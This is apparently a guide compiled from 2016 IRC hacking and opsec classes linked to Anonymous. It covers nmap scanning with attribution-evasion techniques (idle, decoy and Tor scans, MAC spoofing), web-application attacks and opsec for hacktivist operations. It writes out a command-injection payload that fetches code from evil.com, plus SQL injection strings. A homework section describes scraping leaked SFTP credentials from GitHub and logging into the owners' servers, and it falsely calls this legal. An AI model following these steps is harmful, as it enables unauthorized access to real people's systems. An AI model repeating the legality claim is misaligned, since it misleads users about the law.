Every scan creates traffic. Some environments see constant background scanning. Others treat a single scan as suspicious. Use scanning only on systems you own or are authorized to test. For practice, use `scanme.nmap.org`, vulnerable lab VMs, or your own network. ### nmap basics nmap scanme.nmap.org # default scan (TCP ports, host discovery) nmap -sn 192.168.1.0/24 # ping sweep only (no port scan) nmap -Pn host.example # skip host discovery, scan ports nmap -sU -p 53 host.example # UDP scan on port 53 nmap -p 1-1000 host.example # specific port range nmap -iL targets.txt # scan targets from a file nmap -oN output.txt host # normal output nmap -oG output.grepable host # greppable output nmap -oX output.xml host # XML output Nmap's default behavior: 1. Resolve DNS 2. Ping the host (ICMP Echo) and SYN to port 443 3. Scan about 1500 common TCP ports ### Host discovery `-sn` disables the port scan and only performs host discovery (ping sweep). This is useful for mapping a network without being noisy: nmap 10.0.0.45/20 -sn This pings every host in the subnet. It also sends a TCP SYN to port 443 by default. If a firewall drops ICMP, the SYN to 443 may still get a response. `-Pn` skips host discovery entirely. Use this when you know a host is up but it is not responding to pings. ### Scan types - `-sT` - TCP connect scan (completes the three-way handshake) - `-sS` - SYN "stealth" scan (sends SYN, never completes handshake) - `-sU` - UDP scan (slow, often returns `open|filtered`) - `-sI` - Idle scan (using a zombie host) - `-sV` - Version detection - `-O` - OS detection ### UDP scan caveat UDP is stateless. If a UDP port is closed, the destination may respond with an ICMP Destination Unreachable message. If a firewall drops the packet, you get no response at all. Nmap reports `open|filtered` when it cannot distinguish between an open port and a filtered one. ### Output formats Nmap supports: - `-oN` - normal (human-readable) - `-oG` - greppable (easy to parse with grep and cut) - `-oX` - XML (machine-parseable) The greppable format is useful for automation: nmap -oG results.txt 192.168.1.0/24 grep /open results.txt ### Idle scan (zombie scan) The idle scan (`-sI`) is a method of scanning a target while appearing to come from a different machine (the "zombie"). It relies on IP ID incrementation patterns. **Requirements:** - A zombie host that is mostly idle (ideally less than one packet per second) - The zombie must use a globally incremental IP ID (not randomized) - Good zombie candidates: printers, old network devices, anything with low traffic **How it works:** 1. Send a SYN to the zombie. Record its IP ID. 2. Forge a SYN packet to the target, spoofing the source IP as the zombie. 3. If the target's port is open, it sends SYN-ACK to the zombie. 4. The zombie receives the unsolicited SYN-ACK and sends a RST. This increments the zombie's IP ID by 1. 5. If the target's port is closed, it sends RST to the zombie, which the zombie ignores. IP ID does not change. 6. Send another SYN to the zombie. Check the IP ID: - Increased by 1: the target port is closed (zombie ignored the RST) - Increased by 2: the target port is open (zombie responded with RST, incrementing twice) **nmap command:** nmap -Pn -sI **Why it works:** The target sees the scan as coming from the zombie, not from you. You only send SYN packets to the zombie, which are normal traffic. The scan is difficult to trace back to you. **Reliability:** If the zombie receives other traffic during the scan, IP ID increments become unpredictable. Modern operating systems with randomized IP IDs do not work as zombies. ### Decoy scan A decoy scan makes the scan appear to come from multiple IP addresses simultaneously. One of them is the real scanner; the rest are decoys. nmap -D 8.8.8.8,8.8.4.4,208.67.222.222 This sends scan packets from your real IP and from each decoy IP. The target sees multiple sources scanning simultaneously and cannot easily determine which is real. Decoy scans are noisy but help obscure the real source among the noise. They do not protect against monitoring that traces connections or observes network topology. ### Stealth concepts The `-sS` SYN scan is often called a stealth scan because it does not complete the TCP handshake, potentially bypassing some logging. However, modern firewalls and intrusion detection systems recognize SYN scans. The name is misleading. True stealth requires one of: - Idle scan (zombie-based) - Slow scan over very long time periods - Using compromised intermediary hosts - Decoy scans to confuse attribution ### nmap through Tor nmap can be used through Tor with proxychains, but UDP packets do not go through Tor and can leak. Configuration may be needed because nmap tries to bypass proxies for certain operations. Follow the documented configuration. ### MAC spoofing Changing your MAC address before scanning adds a layer of protection on local networks. Tools like `macchanger` automate this. Some routers associate clients by MAC address, and rapidly changing MACs can fill their tables. ## Firewalls Use a firewall. On Linux, `iptables` and its successors remain central. `ufw` is a simpler frontend for basic host firewall rules. For exposed services, prefer dropping unwanted packets over rejecting them. A reject sends an ICMP "port unreachable" or TCP RST, telling the sender a host exists. A drop gives no response at all, making the host harder to enumerate. Check your own exposed ports from an external network periodically. Do not assume a service is unreachable because you configured it once. ## Wireless and public networks Public WiFi is hostile by default. Other users may sniff traffic, spoof services, poison ARP caches, run man-in-the-middle attacks, or deploy captive portal tricks. Use HTTPS. Use a VPN when appropriate. Do not trust local file sharing. Disable services you do not need. MAC randomization is cheap and often useful on public networks. Some networks bind sessions to MAC addresses, so changing your MAC mid-session can break connectivity. Use tools like `macchanger` on Linux. ## Web application risk The instructors covered web application security in `class5.txt`. They introduced the OWASP Top 10 concepts and common vulnerability classes. ### Command injection Command injection occurs when an application passes unsanitized user input to a system shell. A search box that runs a shell command could be exploited by injecting command syntax: | wget http://evil.com/bad.php | If the server processes this input in a shell command, it may download and execute arbitrary code. ### SQL injection (SQLi) SQL injection occurs when an application constructs SQL queries by concatenating user input. The classic example: http://website.com/viewAccounts?id=1' or '1'='1 If the underlying query is: SELECT * FROM viewAccounts WHERE id='1' The injected query becomes: SELECT * FROM viewAccounts WHERE id='1' or '1'='1' Since `'1'='1'` is always true, this returns every row in the table. Blind SQL injection techniques use boolean conditions (`1=0` for false, `1=1` for true) to extract data one bit at a time when no error output is visible. The instructors recommended learning SQL properly before attempting SQL injection and warned against relying on tools like `sqlmap` without understanding what they do. ### Cross-site scripting (XSS) XSS injects client-side scripts into web pages. It is a form of code injection where the injected code runs in the browser. **Reflected XSS**: The injected code is part of a crafted URL or request. The victim must click a malicious link. http://website.com/search= **Stored XSS**: The injected code is saved by the server (e.g., in a comment, forum post, or guestbook entry). Every visitor to the affected page executes the payload. XSS can be used for: - Cookie theft (session hijacking) - Credential phishing (capturing login forms) - Redirecting users to malicious sites - Injecting keyloggers - Defacement **Cookie theft example:** This redirects the victim's browser to an attacker-controlled server, passing the victim's cookies in the URL. **NoScript** (Firefox extension) blocks JavaScript by default and includes XSS protection. **uMatrix** is another option. The instructors recommended whitelist-based blocking over blacklist-based detection. ### Broken authentication Common authentication failures: - No SSL/TLS on login pages - Password reset generates predictable or fixed passwords (e.g., "changeme") - Passwords emailed in plaintext - No account lockout (allowing brute force) - Default credentials (admin:admin) - Username enumeration (different error messages for valid vs. invalid usernames) - Predictable password generation ### Session management Sessions are tracked using tokens, usually stored in cookies. If a session token is predictable, unencrypted, or exposed via XSS, an attacker can hijack the session. Bad patterns: - Tokens that do not expire - Tokens that increment (token for user A + 1 = token for user B) - Tokens sent over unencrypted connections - Tokens accessible to JavaScript (non-HttpOnly cookies) ### Authorization Authorization determines what an authenticated user is allowed to do. Common failure: hiding an admin panel button but not checking authorization on the admin route itself. Example from the class: site.com/?passwordReset=true&emailverified=true If the application does not verify that a password reset email was actually sent, an attacker can craft this URL directly and reset any user's password. ### Local File Inclusion (LFI) and Remote File Inclusion (RFI) File inclusion vulnerabilities allow an attacker to include files on a web server. LFI includes files already on the server. RFI includes files from a remote server. LFI can be used to: - Read arbitrary files (`/etc/passwd`) - Execute code (via log poisoning or PHP wrappers) - Read application source code RFI can be used to: - Execute arbitrary code by including a remote script - Phish credentials - Install backdoors ### Security misconfiguration - Default credentials left unchanged (admin:admin) - Directory listing enabled - Configuration files exposed (wp-config.php, etc.) - Debug pages accessible in production - Unnecessary services running ### Sensitive data exposure Data transmitted without encryption, stored without encryption, or exposed via misconfigured permissions or documents. The instructor used the example of a Marco Rubio campaign website configured with default credentials, which was found and exploited during the 2016 election cycle. ### Learning resources The instructors recommended these legal practice targets: - **OWASP WebGoat** - deliberately insecure web application for learning - **OWASP Juice Shop** - modern vulnerable web app - **PortSwigger Web Security Academy** - free training with labs - **DVWA** - Damn Vulnerable Web Application - **Metasploitable2** - vulnerable VM with multiple web apps - **VulnHub** - collection of vulnerable VMs ### Crypto warning The instructors spent several lines on one message: DO NOT ROLL YOUR OWN ENCRYPTION. Public algorithms survive because specialists attack them for years. A homegrown scheme protects only against people less skilled than its author. ## Practical homework challenge from class 3b The OSINT class included a practical exercise. The instructors provided a GitHub search that returned approximately 3500 public repository files containing SFTP credentials for Sublime Text users who had committed their configuration files to public GitHub repositories. **The search URL from the class:** https://github.com/search?q=%2F%2F+Visit+http%3A%2F%2Fwbond.net%2Fsublime_packages%2Fsftp%2Fsettings+for+help&type=Code This string matches configuration files from the Sublime Text SFTP plugin, which contain server addresses, usernames, passwords, and sometimes private keys. **The task:** 1. Script a way to scrape all matching files from the GitHub search results 2. Parse each file to extract the SFTP credentials (host, username, password) 3. Test each login against its server to find working credentials (the instructors said about 30 of the 3500 logins still worked) 4. Log into each working server via SFTP 5. On one of those servers, locate a file at `/home/$USER/.lol/htp.jpg` 6. Output the MD5 hash of that file as proof of finding it **Rules given by the instructors:** - Do not destroy or deface any server you access - Do not brute force SSH ports (the credentials were already provided in the config files) - Be stealthy and do not touch anything beyond the objective - If you find the flag, submit the MD5 hash to the instructors - The challenge was legal according to the instructors because the servers were already exposed **The reality from the logs:** The vast majority of those 3500 logins were broken or no longer worked. Only about 30 were functional. One of those 30 contained the flag. This was described as an exercise in efficient automation: the winner would be whoever could most quickly script the collection, parsing, and testing pipeline. **Skills required:** - Bash scripting or Python for scraping and parsing - Understanding of SFTP (which is part of the SSH suite) - Ability to automate login attempts - (The instructors said bash alone was sufficient; they personally used Python) The solution script was to be released by the instructors after a winner was confirmed, so that everyone could see how it was done. ## Activism and operations The logs dedicated a full class (`class4.txt`) to the history of Anonymous, hacktivism, and opsec for organizing. ### History summary Anonymous emerged from Japanese anonymous imageboard culture introduced to the West through 4chan.org around 2003. The "Old Anonymous" character (green face, suit, "No picture available" text) became a symbol of the collective identity. Notable early operations: - Habbo Hotel raids (2005) - Hal Turner raids (2006-2007) - revealed Hal Turner was an FBI informant - Project Chanology (2008) - the first large-scale politically targeted Anonymous operation, directed against the Church of Scientology. Included DDoS attacks, fax bombing, VOIP flooding, website defacement, and real-world protests. - /i/nsurgency board - centralized raid coordination ### Leaderless organization Anonymous operates without centralized leadership. This is a feature and a weakness: - Individual operations can have temporary leaders - "De facto" leaders usually fail or cause problems - Anyone can claim to be Anonymous, including law enforcement and provocateurs - Lack of leadership means no one can betray the whole group, but also no one can control quality ### Running an operation The instructors provided a planning checklist: - What is the purpose of the operation? - What are you trying to accomplish? - What kind of message are you trying to spread? - Does the operation have a foundation that has been thoroughly thought out? - Why should people care about the operation? - What are the relevant/vital pieces of information? - How will you communicate the operation to the public? The instructors emphasized: do the work first, then announce what you have done. Announcing plans before execution allows targets to prepare and invites infiltrators. ### Opsec for operations - Do not announce plans before action - Use encrypted communication (the instructors suggested Blowfish, OTR, or OTR-capable clients for sensitive discussions) - Avoid the "anon family" mentality. Shared values do not require shared identities. Emotional closeness becomes an opsec failure. - Press releases should document what was done, not recruit for what will be done ### Media manipulation The instructors noted that mainstream media often stages interviews with the least-informed participants to discredit movements (citing Occupy Wall Street as an example). They also noted that media does not distinguish between DDoS, defacement, and sophisticated hacking, so the most visible operations are often the simplest. ### Informant awareness - You cannot always identify informants. Some are obvious. Many are not. - Informants continue to commit crimes under FBI supervision to maintain cover. - If someone is detained and returns, do not instantly exile them, but keep them at arm's length. - Share less information with everyone, not just suspected informants. - Ego and drama create informants. People flip to save themselves when facing legal pressure. ## Source map This guide was compiled from the following raw transcript files in `onion_irc_opsec_raw`: | File | Date | Primary topic | |------|------|---------------| | `class1.txt` | 24/04/2016 | Opsec fundamentals, Tor, VPNs, passwords, encryption, disk encryption, transparent proxying, verifying downloads, firewalls | | `class2.txt` | 29/04/2016 | IRC opsec, CTCP/DCC hardening, nick tracking, metadata correlation, typing patterns, disinformation, UTC time, bouncers, IRC client selection | | `class3.txt` | 01/05/2016 | Bash commands, pipes, redirection, grep, cut, sort, find, locate, job control, bash scripting, variables, command substitution, log handling, rootkit detection, DIG/nslookup/whois | | `class3a.txt` | 01/05/2016 | Linux filesystem layout, package management (apt-get, repos, PPAs), permissions (chmod, chown), man pages, screen, top, ifconfig, SSH, .bash_history, network commands | | `class3b.txt` | 01/05/2016 | OSINT: Google dorking, GitHub dorking, social media OSINT, DNS recon, zone transfers, dig, nslookup, theHarvester, fierce, dnsdumpster, FOCA, recon-ng, Shodan, blindcrawl.pl, homework challenge (GitHub SFTP credential scraping) | | `class3c.txt` | 01/05/2016 | TCP/IP and OSI models, TCP three-way handshake, UDP, ports, ARP protocol, network tools (Wireshark, aircrack), DOS attacks, connection hijacking, ARP poisoning | | `class4.txt` | 2016 (undated) | Hacktivism definition, Anonymous history (4chan, Chanology, Hal Turner, Occupy, LulzSec, Arab Spring), leaderless organization, opsec for operations, informant awareness, media manipulation | | `class4a.txt` | 2016 (undated) | nmap scanning: host discovery, SYN scan, UDP scan, idle scan (zombie scan) with full IP ID mechanics, decoy scan, firewall behavior (drop vs. reject), scanning through Tor/VPN, MAC spoofing | | `class4b.txt` | 2016 (undated) | DNS tunneling: base32 encoding, dig embedding, ncat listening, Python dnslib server and client code, TXT record tunneling, dns2tcp, dnscat, defensive detection | | `class5.txt` | 2016 (undated) | Web application security: command injection, SQL injection (1=1, blind SQLi), XSS (reflected, stored, cookie theft), broken authentication, session management, authorization bypass, LFI/RFI, security misconfiguration, sensitive data exposure, crypto warning | ## Practical checklist Use this before joining a sensitive chat, posting under a persona, attending a meeting, or testing your own infrastructure. - Am I using the right identity for this context? - Is this account linked to personal email, phone, payment, or recovery data? - Did I reuse a handle, avatar, phrase, or writing pattern? - Is my browser or client updated? - Am I leaking DNS, UDP, WebRTC, or direct traffic? - Are CTCP and DCC disabled in IRC? - Are my IRC real name, username, hostname, and nick set before connecting? - Is my timezone exposed by my system or client? - Am I about to mention time, weather, location, work, school, family, or routine? - Did I strip metadata from files? - Did I verify downloads and signatures? - Are passwords unique and stored safely? - Are private keys encrypted and private? - Is full disk encryption enabled where it matters? - Am I carrying a phone into a sensitive meeting? - Does anyone really need to know what I am about to say? ## Closing note The tools change. The rule does not: every action leaks something. Good opsec is not paranoia for its own sake. It is the habit of leaking less, separating identities, verifying assumptions, and shutting up before you make someone else's job easy.

标签：GitHub, 匿名网络, 威胁建模, 实时处理, 行动安全, 资料档案, 防御加固